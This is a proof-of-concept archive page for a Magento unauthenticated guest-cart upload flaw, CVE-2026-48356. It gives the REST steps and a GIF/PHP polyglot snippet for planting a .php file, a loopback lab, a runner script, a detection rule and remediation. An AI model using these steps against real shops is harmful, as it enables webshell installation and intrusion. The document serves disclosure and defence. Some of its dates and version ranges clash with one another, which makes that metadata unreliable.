PoC Archive PoC Archive
CVE-2026-48356 category: web CVSS 9.3 (CRITICAL) KEV
Patched

Magento Open Source Unauthenticated PolyShell File Upload (CVE-2026-48356)

Published: 2026-11-27 • Researcher: abraxas / Abraxas Labs; Adobe (APSB26-73), Sansec (PolyShell research)

Target software Magento Open Source / Adobe Commerce
Affected versions NVD range: 1.6.0 before 1.21.0; researcher lab and write-up: all versions through 2.4.8-p5 (inclusive)
Status PoC (upload confirmed; remote execution not demonstrated)
Severity Critical · CVSS 9.3
CVSS 9.3/10

Exploitation signals

KEV

Confirmed exploited in the wild. Added to CISA KEV 2026-10-27. Federal remediation deadline 2026-11-10.

EPSS 7.9% · 95th percentile

Severity
Critical
CVE
CVE-2026-48356
Category
web
Affected product
Magento Open Source / Adobe Commerce
Affected versions
NVD range: 1.6.0 before 1.21.0; researcher lab and write-up: all versions through 2.4.8-p5 (inclusive)
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-10-28
Author / Researcherabraxas / Abraxas Labs; Adobe (APSB26-73), Sansec (PolyShell research)
CVE / AdvisoryCVE-2026-48356
Categoryweb
SeverityCritical
CVSS Score9.3 (CVSSv3.1, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N)
StatusPoC (upload confirmed; remote execution not demonstrated)
Tagsmagento, adobe-commerce, unrestricted-file-upload, CWE-434, polyglot, unauthenticated, guest-cart, REST-API, webshell
RelatedN/A

Affected Target

FieldValue
Software / SystemMagento Open Source / Adobe Commerce
Versions AffectedNVD range: 1.6.0 before 1.21.0; researcher lab and write-up: all versions through 2.4.8-p5 (inclusive)
Language / PlatformPHP / Magento 2 (lab pinned to 2.4.8-p5, PHP 8.3, nginx); Python 3 exploit client
Authentication RequiredNo (guest cart REST API)
Network Access RequiredYes (target HTTP/REST reachable)

Summary

CVE-2026-48356 is an unauthenticated unrestricted file upload in Magento Open Source. A guest cart item can carry a custom option file info field whose declared name ends in .php while its content is a GIF89a polyglot. The image validator accepts it because the bytes begin with a valid GIF header and pass the punctuation checks, but the file processor keeps the caller-supplied extension. The file is written under pub/media/custom_options/quote/ and can later be requested from the web root, giving an unauthenticated attacker a PHP webshell and code execution as the Magento user. The researcher’s lab oracle is the uploaded filename echoed in the add-to-cart JSON, not command execution.

Vulnerability Details

Root Cause

The guest-cart REST custom-option file path performs insufficient validation of uploaded custom-option files. ImageContentValidator checks getimagesizefromstring plus punctuation and MIME, but ImageProcessor::getFileName preserves the caller-supplied filename extension. No option_id or option-type restriction is enforced on that REST path, so a valid GIF image with a trailing PHP short-echo and a .php name satisfies the image check and is stored with the dangerous extension.

Attack Vector

  1. POST /rest/default/V1/guest-carts to create an unauthenticated guest cart and obtain its cart ID.
  2. POST /rest/default/V1/guest-carts/{cartId}/items with a cart item containing product_option.extension_attributes.custom_options, a file_info object whose base64_encoded_data is a GIF89a polyglot and whose name ends in .php.
  3. The REST response echoes the stored filename, showing the .php file was accepted under pub/media/custom_options/quote/.
  4. Request the written file over HTTP to execute the embedded PHP, assuming the media path is web-served.

Impact

Unauthenticated arbitrary file upload of a PHP-capable file into the Magento media tree. When requested through the web server this yields remote code execution as the Magento/PHP user, with high confidentiality and integrity impact and potential account or session takeover. The advisory describes scope change and elevated access.

Environment / Lab Setup

Output
OS:          Linux with Docker and Docker Compose
Target:      Magento Open Source 2.4.8-p5 without APSB26-73, on 127.0.0.1:18096
             (shinsenter/magento:php8.3-nginx + mysql:8.0 + opensearch:2.11.1)
Attacker:    Python 3 clients (lab/poc.py or the top-level runner)
Tools:       docker compose, python3, bash

Setup Steps

Shell script
1
2
3
4
5
6
cd pocs/web/2026-11-27_cve-2026-48356-magento
python3 CVE-2026-48356-Abraxas-Labs.py     # chdirs into lab/ and runs lab/run.sh
cd lab
docker compose up -d        # setup-magento.sh runs as the container startup hook
bash run.sh                 # waits for GraphQL, seeds lab-sku, then runs poc.py
python3 poc.py http://127.0.0.1:18096   # optional: re-run the client alone

The compose stack binds the shop to loopback only. setup-magento.sh installs Magento 2.4.8-p5 from the Mage-OS mirror, and seed-product.sh creates the simple product lab-sku so the guest-cart REST call has a valid SKU.

Proof of Concept

Step-by-Step Reproduction

  1. Start the loopback lab — Magento 2.4.8-p5 with MySQL and OpenSearch, reachable only on 127.0.0.1:18096.

    Shell script
    1
    
    python3 CVE-2026-48356-Abraxas-Labs.py
  2. Confirm the catalog fixture — the client queries GraphQL for lab-sku.

    Shell script
    1
    
    python3 lab/poc.py http://127.0.0.1:18096
  3. Create a guest cart — unauthenticated POST to /rest/default/V1/guest-carts returns the cart ID.

  4. Upload the polyglot — POST the cart item with a GIF89a plus PHP short-echo payload named GHSA48356-WITNESS.php.

  5. Read the oracle — the add-to-cart JSON echoes GHSA48356-WITNESS.php, proving the .php file was accepted.

Exploit Code

See lab/poc.py for the upload client, CVE-2026-48356-Abraxas-Labs.py for the runner, and lab/docker-compose.yml plus lab/setup-magento.sh for the pinned lab.

Python
1
2
3
4
5
6
blob = GIF + b'<?= "GHSA48356-WITNESS" ?>'
file_info = {
    "base64_encoded_data": base64.b64encode(blob).decode(),
    "name": "GHSA48356-WITNESS.php",
    "type": "image/gif",
}

Expected Output

Output
1
2
3
4
5
6
IOC base=http://127.0.0.1:18096
IOC sku-lookup status=200 snippet='{"data":{"products":{"items":[{"sku":"lab-sku"}]}}}'
IOC guest-cart status=200 snippet='"<cart-id>"'
IOC cart_id=<cart-id>
IOC add-item status=200 snippet='...GHSA48356-WITNESS.php...'
SUCCESS CVE-2026-48356 PolyShell unrestricted php upload

Detection & Indicators of Compromise

  • New .php or other executable files under pub/media/custom_options/quote/ or the wider media tree.
  • POST requests to /rest/default/V1/guest-carts/{cartId}/items whose JSON body contains file_info, a base64 blob beginning with GIF89a, and a name ending in .php.
  • Guest-cart traffic with custom_options file uploads from unauthenticated clients.
  • Requests for media files whose content begins with GIF89a but contains PHP tags.
  • Magento / Adobe Commerce version at or below 2.4.8-p5 without APSB26-73.

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"CVE-2026-48356 Magento PolyShell guest-cart upload"; \
  content:"/rest/default/V1/guest-carts"; http_uri; \
  content:"file_info"; http_client_body; \
  content:"base64_encoded_data"; http_client_body; \
  pcre:"/\"name\"\s*:\s*\"[^\"]+\.(php|phtml)\"/i"; sid:9483561;)

Remediation

ActionDetail
PatchApply APSB26-73 / 2.4.8-2026-jul or upgrade to a later Magento Open Source / Adobe Commerce release.
WorkaroundRestrict or disable guest-cart custom-option file uploads; block .php/.phtml uploads at the WAF and deny script execution under pub/media.
Config HardeningServe pub/media with a handler that never executes PHP, monitor the media tree for script files, and keep Adobe Commerce security patches current.

References

Notes

Auto-prepared 2026-11-27 from the watchlist record. Review verdict: genuine, non-malicious exploit research. The client performs the actual unauthenticated guest-cart upload and proves acceptance through the filename echoed in the response; it does not include eval, base64, system or reverse-shell payloads, and the lab binds to 127.0.0.1 only. Licensed AGPL-3.0 (upstream-LICENSE.txt retained); the header image was not copied. Main limitation: the lab oracle is the uploaded filename, not command execution, and the Magento 2.4.8-p5 install downloads from the Mage-OS mirror, so the stack is heavy. No exploit code was executed during archive preparation.

CVE-2026-48356-Abraxas-Labs.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
#!/usr/bin/env python3
######################################################################################
#
#        d8888 888888b.   8888888b.         d8888 Y88b   d88P        d8888  .d8888b.
#       d88888 888  "88b  888   Y88b       d88888  Y88b d88P        d88888 d88P  Y88b
#      d88P888 888  .88P  888    888      d88P888   Y88o88P        d88P888 Y88b.
#     d88P 888 8888888K.  888   d88P     d88P 888    Y888P        d88P 888  "Y888b.
#    d88P  888 888  "Y88b 8888888P"     d88P  888    d888b       d88P  888     "Y88b.
#   d88P   888 888    888 888 T88b     d88P   888   d88888b     d88P   888       "888
#  d8888888888 888   d88P 888  T88b   d8888888888  d88P Y88b   d8888888888 Y88b  d88P
# d88P     888 8888888P"  888   T88b d88P     888 d88P   Y88b d88P     888  "Y8888P"
#
#                     888             d8888 888888b.    .d8888b.
#                     888            d88888 888  "88b  d88P  Y88b
#                     888           d88P888 888  .88P  Y88b.
#                     888          d88P 888 8888888K.   "Y888b.
#                     888         d88P  888 888  "Y88b     "Y88b.
#                     888        d88P   888 888    888       "888
#                     888       d8888888888 888   d88P Y88b  d88P
#                     88888888 d88P     888 8888888P"   "Y8888P"
#
#  Website : https://abraxaslabs.tech
#  GitHub  : https://github.com/abraxas
#  Twitter : @abraxas_null
#
#  CVE: CVE-2026-48356 (Critical: 9.3)
#  Vendor: Magento Open Source (Adobe)
#  Versions: Magento Open Source <= 2.4.8-p5 (fixed in 2.4.8-2026-jul / APSB26-73)
#  Impact: Unauthenticated Unrestricted File Upload (PolyShell)
#  Requires: unauthenticated POST /rest/default/V1/guest-carts/{cartId}/items
#
######################################################################################
#
#  RESEARCH / EDUCATIONAL USE ONLY.
#  Do not run, deploy, or use this material against any host unless you have
#  explicit written permission from both the party hosting this repository
#  and the owner of the target systems.
#
######################################################################################

import os as _os
import shutil as _shutil
import sys as _sys
import builtins as _builtins

_ART = {"abraxas": ["        d8888 888888b.   8888888b.         d8888 Y88b   d88P        d8888  .d8888b.", "       d88888 888  \"88b  888   Y88b       d88888  Y88b d88P        d88888 d88P  Y88b", "      d88P888 888  .88P  888    888      d88P888   Y88o88P        d88P888 Y88b.", "     d88P 888 8888888K.  888   d88P     d88P 888    Y888P        d88P 888  \"Y888b.", "    d88P  888 888  \"Y88b 8888888P\"     d88P  888    d888b       d88P  888     \"Y88b.", "   d88P   888 888    888 888 T88b     d88P   888   d88888b     d88P   888       \"888", "  d8888888888 888   d88P 888  T88b   d8888888888  d88P Y88b   d8888888888 Y88b  d88P", " d88P     888 8888888P\"  888   T88b d88P     888 d88P   Y88b d88P     888  \"Y8888P\""], "labs": ["                     888             d8888 888888b.    .d8888b.", "                     888            d88888 888  \"88b  d88P  Y88b", "                     888           d88P888 888  .88P  Y88b.", "                     888          d88P 888 8888888K.   \"Y888b.", "                     888         d88P  888 888  \"Y88b     \"Y88b.", "                     888        d88P   888 888    888       \"888", "                     888       d8888888888 888   d88P Y88b  d88P", "                     88888888 d88P     888 8888888P\"   \"Y8888P\""]}
_CVE = "CVE-2026-48356"
_SITE = "https://abraxaslabs.tech"
_GH = "https://github.com/abraxas"
_XURL = "https://x.com/abraxas_null"
_XH = "@abraxas_null"
_RST = "\033[0m"
_BLD = "\033[1m"


def _on():
    return not _os.environ.get("NO_COLOR")


def _rgb(r, g, b):
    return f"\033[38;2;{r};{g};{b}m" if _on() else ""


_RAIN = [
    (255, 77, 224), (255, 0, 212), (191, 95, 255), (91, 140, 255),
    (0, 210, 255), (0, 255, 249), (57, 255, 20), (180, 255, 70),
    (255, 230, 0), (255, 201, 70), (255, 122, 24), (255, 64, 96),
]


def _lerp(a, b, t):
    return tuple(int(a[i] + (b[i] - a[i]) * t) for i in range(3))


def _rain(x, width):
    if width <= 1:
        return _RAIN[0]
    t = (x / (width - 1)) * (len(_RAIN) - 1)
    i = min(int(t), len(_RAIN) - 2)
    return _lerp(_RAIN[i], _RAIN[i + 1], t - i)


def _logo_line(line, y, n):
    width = max(len(line), 1)
    out = []
    q = False
    for x, ch in enumerate(line):
        if ch == " ":
            out.append(ch)
            continue
        if ch == '"':
            q = not q
            out.append(_rgb(*(255, 201, 70) if q else (255, 230, 0)) + ch)
            continue
        if q:
            out.append(_rgb(255, 230, 0) + ch)
            continue
        r, g, b = _rain(x, width)
        out.append(_rgb(r, g, b) + ch)
    return "".join(out) + _RST


def print_abraxas_banner():
    cols = _shutil.get_terminal_size((120, 30)).columns
    art = _ART["abraxas"] + _ART["labs"]
    art_w = max(len(x) for x in art)
    content_w = min(max(art_w, 88), max(cols - 4, 40))
    box_w = content_w + 4
    if box_w > cols:
        content_w = max(cols - 4, 20)
        box_w = content_w + 4
    cyan, mag = _rgb(0, 255, 249), _rgb(255, 0, 212)
    top = cyan + "╔" + "═" * (box_w - 2) + "╗" + _RST
    mid = mag + "╠" + "═" * (box_w - 2) + "╣" + _RST
    bot = cyan + "╚" + "═" * (box_w - 2) + "╝" + _RST

    def row(vis, rendered, border):
        return _rgb(*border) + "║" + _RST + " " + rendered + _RST + " " + _rgb(*border) + "║" + _RST

    lines = [top]
    title_l, title_r = " ABRAXAS LABS", "analyze · reverse · disclose"
    gap = max(content_w - len(title_l) - len(title_r), 1)
    title = (title_l + " " * gap + title_r)[:content_w].ljust(content_w)
    cells = []
    split, rstart = len(title_l), content_w - len(title_r)
    for i, ch in enumerate(title):
        if ch == " ":
            cells.append(ch)
        elif i < split:
            cells.append(_rgb(0, 255, 249) + _BLD + ch)
        elif i >= rstart:
            cells.append(_rgb(140, 155, 175) + ch)
        else:
            cells.append(ch)
    lines.append(row(title, "".join(cells) + _RST, (0, 255, 249)))
    lines.append(mid)
    cve_l = " " + _CVE
    cve_r = "authorized research only"
    rest = max(content_w - len(cve_l) - len(cve_r), 3)
    midtxt = " local lab ".center(rest)[:rest]
    cve_line = (cve_l + midtxt + cve_r)[:content_w].ljust(content_w)
    cells = []
    le, rs = len(cve_l), content_w - len(cve_r)
    for i, ch in enumerate(cve_line):
        if ch == " ":
            cells.append(ch)
        elif i < le:
            cells.append(_rgb(255, 77, 224) + _BLD + ch)
        elif i >= rs:
            cells.append(_rgb(57, 255, 20) + ch)
        else:
            cells.append(_rgb(255, 0, 212) + ch)
    lines.append(row(cve_line, "".join(cells) + _RST, (255, 0, 212)))
    lines.append(mid)
    n = len(_ART["abraxas"])
    for y, line in enumerate(_ART["abraxas"]):
        vis = line[:content_w].ljust(content_w)
        lines.append(row(vis, _logo_line(vis, y, n), (255, 0, 212)))
    for y, line in enumerate(_ART["labs"]):
        vis = line[:content_w].ljust(content_w)
        lines.append(row(vis, _logo_line(vis, y, n), (255, 0, 212)))
    lines.append(mid)
    for left, right in (("Website", _SITE), ("GitHub", _GH), ("X", _XH + "  " + _XURL)):
        gap = max(content_w - 1 - len(left) - len(right), 1)
        vis = (" " + left + " " * gap + right)[:content_w].ljust(content_w)
        out = []
        left_end = 1 + len(left)
        right_start = content_w - len(right)
        for i, ch in enumerate(vis):
            if ch == " ":
                out.append(ch)
            elif i < left_end:
                out.append(_rgb(255, 230, 0) + ch)
            elif i >= right_start:
                out.append(_rgb(0, 255, 249) + ch)
            else:
                out.append(ch)
        lines.append(row(vis, "".join(out) + _RST, (255, 0, 212)))
    lines.append(bot)
    status = "[*]  abraxas!null ready on #labs   ·   " + _SITE
    scol = []
    for ch in status:
        if ch == " ":
            scol.append(ch)
        elif ch in "[]*":
            scol.append(_rgb(57, 255, 20) + ch)
        elif ch in "·#":
            scol.append(_rgb(255, 77, 224) + ch)
        else:
            scol.append(_rgb(232, 255, 248) + ch)
    lines.append(" " + "".join(scol) + _RST)
    _sys.stdout.write("\n".join(lines) + "\n\n")
    _sys.stdout.flush()


def _cprint(*args, **kwargs):
    sep = kwargs.get("sep", " ")
    s = sep.join(str(a) for a in args)
    low = s.lower()
    if s.startswith("SUCCESS") or "success" == low[:7]:
        col = _rgb(57, 255, 20) + _BLD
    elif s.startswith("FAIL") or low.startswith("fail"):
        col = _rgb(255, 64, 96) + _BLD
    elif "user_id" in low:
        col = _rgb(255, 201, 70) + _BLD
    elif low.startswith("status=") or "status=" in low[:20]:
        col = _rgb(0, 255, 249)
    elif low.startswith("carrier"):
        col = _rgb(255, 0, 212)
    elif s.lstrip().startswith("{") or s.lstrip().startswith("["):
        col = _rgb(255, 230, 0)
    else:
        col = _rgb(232, 255, 248)
    kwargs = dict(kwargs)
    file = kwargs.get("file", _sys.stdout)
    if file is _sys.stdout or file is _sys.stderr:
        _builtins.print(col + s + _RST, **{k: v for k, v in kwargs.items() if k != "sep"})
    else:
        _builtins.print(*args, **kwargs)


print_abraxas_banner()
_builtins.print = _cprint

import stat
import subprocess
import sys
from pathlib import Path

HERE = Path(__file__).resolve().parent
LAB = HERE / "lab"
RUN = LAB / "run.sh"
LABEL = "CVE-2026-48356"


def main() -> int:
    if not RUN.is_file():
        print(f"FAIL {LABEL} lab/run.sh missing")
        return 1
    mode = RUN.stat().st_mode
    if not mode & stat.S_IXUSR:
        RUN.chmod(mode | stat.S_IXUSR)
    completed = subprocess.run(["/bin/bash", str(RUN), *sys.argv[1:]], cwd=LAB)
    return int(completed.returncode)


if __name__ == "__main__":
    raise SystemExit(main())